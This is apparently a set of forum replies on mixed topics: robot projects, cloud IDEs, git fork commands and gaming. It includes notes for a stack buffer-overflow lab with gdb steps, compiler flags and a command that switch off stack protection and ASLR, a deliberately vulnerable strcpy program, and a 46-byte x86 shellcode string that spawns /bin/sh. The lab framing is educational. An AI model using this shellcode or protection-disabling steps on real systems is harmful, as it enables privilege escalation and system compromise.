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KeymasterMini Self-Balancing Robot – RasPi + Arduino
https://hackaday.io/project/179251-mini-self-balancing-robot-raspi-arduinoSupport @QUE.COM
KeymasterLukasz Bien – Project using Load Balance.
https://www.youtube.com/channel/UCQ0uaqRX5uih_bQfa7G7jhgSupport @QUE.COM
KeymasterAdded to the list.
https://www.vscodecloud.com/ – I love working using Visual Studio, this is my first option.
And these two cloud IDE.
https://codeanywhere.com/
https://codesandbox.io/Support @QUE.COM
KeymasterAnother guide using steemjs, foreign language but the video should be enough to learn.
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Keymaster// I cloned nitrous
git clone https://github.com/hive-engine/nitrous.git
cd nitrous
//check branch
git branch -a
// Checkout branch for PESOS
git checkout scotty_pesos//configured the server, tested.
//created new branch scotty_pesos_v2 with all changes.
git checkout -b scotty_pesos_v2//add my nitrous forked so I can update.
git remote add nitrous https://github.com/KINGdotNET/nitrous.git//check
git remote -v
nitrous https://github.com/KINGdotNET/nitrous.git (fetch)
nitrous https://github.com/KINGdotNET/nitrous.git (push)
origin https://github.com/hive-engine/nitrous.git (fetch)
origin https://github.com/hive-engine/nitrous.git (push)// upload new branch to my forked.
git push –set-upstream nitrous scotty_pesos_v2//continue updating new forked e.g., scotty_pesos_v2
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KeymasterI have no luck playing the COD – Zombie since I purchased the Outbreak FREE week.
Should be live from Feb 25 to March 5.How about you?
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KeymasterComparison of JavaScript frameworks
https://en.wikipedia.org/wiki/Comparison_of_JavaScript_frameworksSupport @QUE.COM
KeymasterSupport @QUE.COM
Keymaster1. gcc -o example example.c // compile your program
2. gdb ./example // run GNU Debug
3. (gdb) disas main // run disassembly main
take note of the address, this is for 64bit.Now for 32bits compile code.
gcc -o example -fno-stack-protector -m32 -z execstack example.c // not working
gcc -o example -m32 example.c
Command: gcc -m32 geek.c -o geekfatal error: bits/predefs.h: No such file or directory
Then it indicates that a standard library of gcc is been missing. In that case you must install gcc-multlib by using the following command:For C language:
sudo apt-get install gcc-multilibalias python=python3 // to set python to python3
to anyone getting :
Cannot insert breakpoint 1.
Cannot access memory at address xxxxxxthe displayed memory addresses when you run disassemble main at first are not correct .
to get the correct ones run the commands as follow:gdb ./example
run aaaaawhatever
disassemble main or disas mainnow you get the correct ones copy it and quit gdb
gdb ./example
break *the address you copiednow running the command (run $(python ……..) will work.
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KeymasterNice
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KeymasterAnother good tutorial using GDB program.
NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
When you are finished I strongly recommend you turn it back on with the command
echo 2 | sudo tee /proc/sys/kernel/randomize_va_spaceThe 46 byte shellcode (x86*) used in this program is
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”# Sample buffer overflow program.
Save to example.c program#include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ char buf[256]; strcpy(buf, argv[1]); printf("%s\n", buf); return 0; }
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KeymasterAdditional resources.
http://www.brendangregg.com/blog/2016-08-09/gdb-example-ncurses.html (GDB)
http://phrack.org/issues/49/14.html (Buffer Overflow Concepts)
https://www.cprogramming.com/gdb.html (GDB)
https://docs.python.org/3/tutorial/
https://www.hacksplaining.com ( For SQL injection / Javascript / XSS/ CSRF Vulnerabilities)Support @QUE.COM
Keymaster// delete branch locally
git branch -d localBranchName// delete branch remotely
git push origin –d remoteBranchName-
This reply was modified 1 year, 7 months ago by
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KeymasterA Homemade Raspberry Pi Self Balancing Robot
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KeymasterWhat skill sets do you want in your Cyber Hunting Team?
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